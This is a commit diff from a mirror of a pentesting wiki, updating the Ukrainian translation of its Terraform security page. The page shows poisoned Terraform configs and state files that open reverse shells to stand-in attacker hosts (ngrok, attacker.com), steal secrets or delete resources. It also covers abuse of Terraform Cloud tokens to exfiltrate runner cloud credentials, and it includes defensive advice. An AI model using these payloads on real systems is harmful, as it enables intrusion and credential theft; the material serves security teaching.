mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to uk
This commit is contained in:
@@ -1,26 +1,26 @@
|
||||
# Terraform Security
|
||||
# Terraform Безпека
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
[З документації:](https://developer.hashicorp.com/terraform/intro)
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що легко читаються, які ви можете версувати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислювальні, сховищні та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS.
|
||||
HashiCorp Terraform — це **інструмент infrastructure as code**, який дозволяє визначати як **cloud, так і on-prem ресурси** у зрозумілих конфігураційних файлах, які можна версіонувати, повторно використовувати та ділитися. Ви можете використовувати послідовний робочий процес для provisioning та управління усією інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як compute, storage і networking ресурси, а також високорівневими компонентами, такими як DNS записи та SaaS функції.
|
||||
|
||||
#### Як працює Terraform?
|
||||
|
||||
Terraform створює та управляє ресурсами на хмарних платформах та інших сервісах через їхні інтерфейси програмування додатків (API). Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.
|
||||
Terraform створює та керує ресурсами на cloud-платформах і в інших сервісах через їхні API. Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp та спільнота Terraform вже написали **більше 1700 провайдерів** для управління тисячами різних типів ресурсів та сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери на [Terraform Registry](https://registry.terraform.io/), включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших.
|
||||
HashiCorp та спільнота Terraform вже написали **понад 1700 провайдерів** для керування тисячами різних типів ресурсів і сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери в [Terraform Registry](https://registry.terraform.io/), включно з Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багатьма іншими.
|
||||
|
||||
Основний робочий процес Terraform складається з трьох етапів:
|
||||
|
||||
- **Написати:** Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.
|
||||
- **План:** Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.
|
||||
- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини.
|
||||
- **Write:** Ви визначаєте ресурси, які можуть розташовуватися в різних cloud-провайдерах і сервісах. Наприклад, ви можете створити конфігурацію для розгортання додатку на віртуальних машинах у Virtual Private Cloud (VPC) з security groups та load balancer.
|
||||
- **Plan:** Terraform створює execution plan, який описує інфраструктуру, яку буде створено, оновлено або видалено на основі існуючої інфраструктури та вашої конфігурації.
|
||||
- **Apply:** Після погодження Terraform виконує запропоновані операції в правильному порядку, враховуючи залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку пересоздасть VPC, а потім масштабуватиме віртуальні машини.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -28,33 +28,33 @@ HashiCorp та спільнота Terraform вже написали **більш
|
||||
|
||||
Просто встановіть terraform на свій комп'ютер.
|
||||
|
||||
Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads).
|
||||
Тут у вас є [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) і тут у вас є [best way to download terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE в Terraform: отруєння конфігураційного файлу
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це **мати можливість додавати/модифікувати конфігураційні файли terraform** або **мати можливість модифікувати файл стану terraform** (див. розділ нижче).
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
|
||||
Однак terraform є **дуже чутливим компонентом** для компрометації, оскільки він матиме **привілейований доступ** до різних місць, щоб працювати належним чином.
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
|
||||
Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**.
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
|
||||
Насправді існують рішення, які **автоматично виконують terraform plan/apply після створення PR**, такі як **Atlantis**:
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Якщо ви зможете скомпрометувати файл terraform, існують різні способи, якими ви можете виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`.
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan — це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`.
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
|
||||
**Використання зовнішнього провайдера**
|
||||
**Using an external provider**
|
||||
|
||||
Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконувати довільний код під час `plan`.
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`:
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
|
||||
```
|
||||
**Використання кастомного провайдера**
|
||||
|
||||
Атакуючий може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Зловмисник може опублікувати [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) у [Terraform Registry](https://registry.terraform.io/) і потім додати його до Terraform-коду у feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,28 +75,28 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Провайдер завантажується в `init` і виконає шкідливий код, коли буде виконано `plan`
|
||||
Провайдер завантажується під час `init` і виконає шкідливий код, коли буде виконано `plan`
|
||||
|
||||
Ви можете знайти приклад у [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
Приклад можна знайти за адресою [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Використання зовнішнього посилання**
|
||||
|
||||
Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть **більш приховано**, дотримуючись цих рекомендацій:
|
||||
Обидві згадані опції корисні, але не дуже приховані (друга більш прихована, але складніша за першу). Ви можете виконати цю атаку ще більш **скритно**, дотримуючись наступних порад:
|
||||
|
||||
- Замість того, щоб додавати rev shell безпосередньо в файл terraform, ви можете **завантажити зовнішній ресурс**, який містить rev shell:
|
||||
- Замість того, щоб додавати rev shell безпосередньо у terraform file, ви можете **завантажити зовнішній ресурс**, який містить rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Ви можете знайти код rev shell за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Код rev shell можна знайти за адресою [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- У зовнішньому ресурсі використовуйте функцію **ref**, щоб приховати **код terraform rev shell у гілці** всередині репозиторію, щось на зразок: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- У зовнішньому ресурсі використайте функцію **ref** щоб сховати **terraform rev shell code in a branch** всередині репозиторію, щось на кшталт: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи **зловмисний Terraform файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі `main.tf`:
|
||||
Terraform apply буде виконано для застосування всіх змін, його також можна зловживати, щоб отримати RCE, інжектуючи **шкідливий Terraform-файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Потрібно лише переконатися, що якийсь payload, як-от наведені нижче, потрапляє у файл `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Слідуйте **рекомендаціям з попередньої техніки**, щоб виконати цю атаку **більш приховано, використовуючи зовнішні посилання**.
|
||||
Дотримуйтесь **рекомендацій з попередньої техніки**, щоб виконати цю атаку **більш приховано за допомогою зовнішніх посилань**.
|
||||
|
||||
## Витоки секретів
|
||||
## Витяг секретів
|
||||
|
||||
Ви можете отримати **секретні значення, які використовуються terraform, вивантаживши** команду `terraform apply`, додавши до файлу terraform щось на зразок:
|
||||
Ви можете отримати **дамп секретних значень, що використовуються terraform** запустивши `terraform apply`, додавши до terraform-файлу щось на кшталт:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Зловживання файлами стану Terraform
|
||||
|
||||
У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу. Навіть якщо у вас є доступ на запис до конфігураційних файлів, використання вектора файлів стану часто є набагато підступнішим, оскільки ви не залишаєте слідів в історії `git`.
|
||||
У разі, якщо у вас є права запису до terraform state files, але ви не можете змінити terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує декілька цікавих варіантів використання цього файлу. Навіть якщо у вас був би доступ на запис до конфігураційних файлів, використання вектора state файлів часто набагато хитріше, оскільки ви не лишаєте слідів в історії `git`.
|
||||
|
||||
### RCE в Terraform: отруєння конфігураційного файлу
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
Можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати фальшивий ресурс, що посилається на шкідливий провайдер.
|
||||
Можна [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у terraform state file на шкідливий або додати фейковий ресурс, який посилається на шкідливий провайдер.
|
||||
|
||||
Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) базується на дослідженні та озброює цей принцип. Ви можете додати фальшивий ресурс і вказати довільну команду bash, яку ви хочете виконати, в атрибуті `command`. Коли запускається `terraform`, це буде прочитано та виконано на етапах `terraform plan` і `terraform apply`. У випадку етапу `terraform apply`, `terraform` видалить фальшивий ресурс з файлу стану після виконання вашої команди, прибираючи за собою. Більше інформації та повну демонстрацію можна знайти в [репозиторії GitHub, що містить вихідний код для цього провайдера](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) побудований на цьому дослідженні і озброює цей принцип. Ви можете додати фейковий ресурс і вказати будь-яку довільну bash-команду, яку хочете виконати, в атрибуті `command`. Коли запускається `terraform` run, це буде прочитано і виконано як у кроках `terraform plan`, так і `terraform apply`. У випадку кроку `terraform apply`, `terraform` видалить фейковий ресурс зі state file після виконання вашої команди, підчищаючи після себе. Більше інформації та повне демо можна знайти в [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Щоб використовувати це безпосередньо, просто включіть наступне в будь-якому місці масиву `resources` і налаштуйте атрибути `name` та `command`:
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -152,15 +152,15 @@ value = nonsensitive(var.do_token)
|
||||
]
|
||||
}
|
||||
```
|
||||
Тоді, як тільки `terraform` буде виконано, ваш код запуститься.
|
||||
Тоді, щойно `terraform` буде виконано, ваш код запуститься.
|
||||
|
||||
### Видалення ресурсів <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Існує 2 способи знищити ресурси:
|
||||
|
||||
1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення**
|
||||
1. **Вставити ресурс з випадковою назвою у state file, який вказує на реальний ресурс для знищення**
|
||||
|
||||
Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки:
|
||||
Оскільки terraform побачить, що ресурс не повинен існувати, його буде знищено (з урахуванням вказаного реального ID ресурсу). Приклад з попередньої сторінки:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ value = nonsensitive(var.do_token)
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)**
|
||||
2. **Змініть ресурс так, щоб його не можна було оновити (тобто він буде видалений і створений заново)**
|
||||
|
||||
Для EC2 інстансу зміна типу інстансу достатня для того, щоб terraform видалив і відтворив його.
|
||||
Для екземпляра EC2 достатньо змінити тип екземпляра, щоб terraform видалив його і створив заново.
|
||||
|
||||
### Замініть заблокований провайдер
|
||||
### Замінити заблокований провайдер
|
||||
|
||||
У разі, якщо ви зіткнулися з ситуацією, коли `hashicorp/external` був заблокований, ви можете повторно реалізувати провайдер `external`, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію.
|
||||
Якщо ви зіткнетесь із ситуацією, коли `hashicorp/external` було заблоковано, ви можете реалізувати `external` провайдера самостійно таким чином. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати власний форк або реалізацію.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"]
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Цей сценарій використовує виконавці Terraform Cloud (TFC) під час спекулятивних планів для переходу до цільового облікового запису в хмарі.
|
||||
Цей сценарій зловживає Terraform Cloud (TFC) runners під час speculative plans, щоб pivot у цільовий cloud account.
|
||||
|
||||
- Preconditions:
|
||||
- Вкрасти токен Terraform Cloud з машини розробника. CLI зберігає токени у відкритому вигляді за адресою `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Токен повинен мати доступ до цільової організації/робочого простору та принаймні дозвіл `plan`. Робочі простори, що підтримуються VCS, блокують `apply` з CLI, але все ще дозволяють спекулятивні плани.
|
||||
- Вкрадіть Terraform Cloud token з машини розробника. CLI зберігає токени у відкритому вигляді в `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Токен має мати доступ до цільової organization/workspace і щонайменше дозвіл `plan`. VCS-backed workspaces блокують `apply` з CLI, але все ще дозволяють speculative plans.
|
||||
|
||||
- Виявлення налаштувань робочого простору та VCS через API TFC:
|
||||
- Дізнайтеся налаштування workspace та VCS через TFC API:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Викликати виконання коду під час спекулятивного плану, використовуючи зовнішнє джерело даних та блок "cloud" Terraform Cloud для націлювання на робочий простір, підтримуваний VCS:
|
||||
- Запустити виконання коду під час speculative plan, використовуючи external data source та Terraform Cloud "cloud" block, щоб націлити VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +226,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Приклад rsync.sh для отримання зворотного шеллу на TFC runner:
|
||||
Приклад rsync.sh для отримання reverse shell на TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Запустіть спекулятивний план для виконання програми на епhemeral runner:
|
||||
Запустіть спекулятивний план для виконання програми на ephemeral runner:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Перерахувати та ексфільтрувати ін'єковані облікові дані хмари з виконавця. Під час виконання TFC ін'єктує облікові дані провайдера через файли та змінні середовища:
|
||||
- Перелічити та exfiltrate інжектовані cloud credentials з runner. Під час запусків TFC інжектує provider credentials через файли та environment variables:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Очікувані файли в робочому каталозі виконавця:
|
||||
Очікувані файли в робочому каталозі runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (конфігурація JSON для федерації ідентичності робочого навантаження)
|
||||
- `tfc-gcp-token` (токен доступу GCP з коротким терміном дії)
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (конфігурація припущення ролі веб-ідентичності/OIDC)
|
||||
- `tfc-aws-token` (токен з коротким терміном дії; деякі організації можуть використовувати статичні ключі)
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
|
||||
- Використовуйте короткострокові облікові дані поза каналом, щоб обійти VCS ворота:
|
||||
- Використовуйте короткотривалі облікові дані поза каналом, щоб обійти VCS gates:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,27 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
З цими обліковими даними зловмисники можуть створювати/модифікувати/знищувати ресурси безпосередньо, використовуючи рідні CLIs, обходячи робочі процеси на основі PR, які блокують `apply` через VCS.
|
||||
З цими creds зловмисники можуть безпосередньо створювати/змінювати/знищувати ресурси за допомогою native CLIs, минаючи PR-based workflows, які блокують `apply` через VCS.
|
||||
|
||||
- Захисні рекомендації:
|
||||
- Apply least privilege до TFC users/teams та tokens. Аудитуйте memberships і уникайте надміру широких owners.
|
||||
- Обмежте `plan` permission на чутливих VCS-backed workspaces, де це можливо.
|
||||
- Enforce provider/data source allowlists за допомогою Sentinel policies, щоб блокувати `data "external"` або невідомі провайдери. See HashiCorp guidance on provider filtering.
|
||||
- Віддавайте перевагу OIDC/WIF замість статичних cloud credentials; вважайте runners чутливими. Monitor speculative plan runs та unexpected egress.
|
||||
- Виявляйте ексфільтрацію `tfc-*` credential artifacts і надсилайте алерти при підозрілому використанні програми `external` під час планів.
|
||||
|
||||
|
||||
## Компрометація Terraform Cloud
|
||||
|
||||
### Використання token
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Викрадення цього token дозволяє зловмиснику видавати себе за користувача в межах scope токена.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Тоді можна виконати довільний код за допомогою **`terraform plan`**, як пояснено в попередньому розділі.
|
||||
|
||||
### Escaping to the cloud
|
||||
|
||||
Якщо runner розміщений у якійсь хмарній середовищі, можна отримати токен principal, прикріпленого до runner, і використовувати його out of band.
|
||||
|
||||
- **GCP files (присутні в поточному робочому каталозі запуску)**
|
||||
- `tfc-google-application-credentials` — JSON-конфіг для Workload Identity Federation (WIF), який вказує Google, як обміняти зовнішню ідентичність.
|
||||
- `tfc-gcp-token` — короткостроковий (≈1 година) GCP access token, на який посилається вищезгадане
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON для web identity federation/OIDC role assumption (переважно над статичними ключами).
|
||||
- `tfc-aws-token` — короткостроковий токен, або потенційно статичні IAM keys, якщо неправильно налаштовано.
|
||||
|
||||
- Оборонні рекомендації:
|
||||
- Застосовуйте принцип найменших привілеїв для користувачів/команд TFC та токенів. Аудитуйте членство та уникайте надмірних власників.
|
||||
- Обмежте дозвіл `plan` на чутливих робочих просторах, що підтримуються VCS, де це можливо.
|
||||
- Застосовуйте списки дозволених постачальників/джерел даних за допомогою політик Sentinel, щоб блокувати `data "external"` або невідомих постачальників. Дивіться рекомендації HashiCorp щодо фільтрації постачальників.
|
||||
- Вибирайте OIDC/WIF замість статичних облікових даних хмари; розглядайте виконавців як чутливі. Моніторте спекулятивні запуски планів та несподіваний вихід.
|
||||
- Виявляйте ексфільтрацію артефактів облікових даних `tfc-*` та сповіщайте про підозріле використання програми `external` під час планів.
|
||||
|
||||
## Автоматизовані інструменти аудиту
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk пропонує комплексне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC.
|
||||
Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні конфігурації в Terraform, CloudFormation, Kubernetes та інших IaC форматах.
|
||||
|
||||
- **Особливості:**
|
||||
- Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю.
|
||||
- Сканування в реальному часі на предмет вразливостей та проблем відповідності.
|
||||
- Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket).
|
||||
- Автоматизовані запити на виправлення.
|
||||
- Докладні рекомендації щодо усунення.
|
||||
- **Реєстрація:** Створіть обліковий запис на [Snyk](https://snyk.io/).
|
||||
- Автоматизовані pull requests з виправленнями.
|
||||
- Детальні рекомендації щодо усунення.
|
||||
- **Sign Up:** Створіть обліковий запис на [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -292,25 +319,25 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів.
|
||||
**Checkov** — інструмент статичного аналізу коду для Infrastructure as Code (IaC) і також інструмент Software Composition Analysis (SCA) для образів та open source пакетів.
|
||||
|
||||
Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів.
|
||||
Він сканує хмарну інфраструктуру, створену за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), або [OpenTofu](https://opentofu.org/) і виявляє проблемні налаштування безпеки та невідповідності політикам за допомогою графового сканування.
|
||||
|
||||
Він виконує [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE).
|
||||
Він виконує [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням open source пакетів і образів на наявність Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду.
|
||||
З [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` — це легкий фреймворк тестування, орієнтований на безпеку та відповідність для terraform, який забезпечує можливість negative testing для вашого infrastructure-as-code.
|
||||
|
||||
- **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам
|
||||
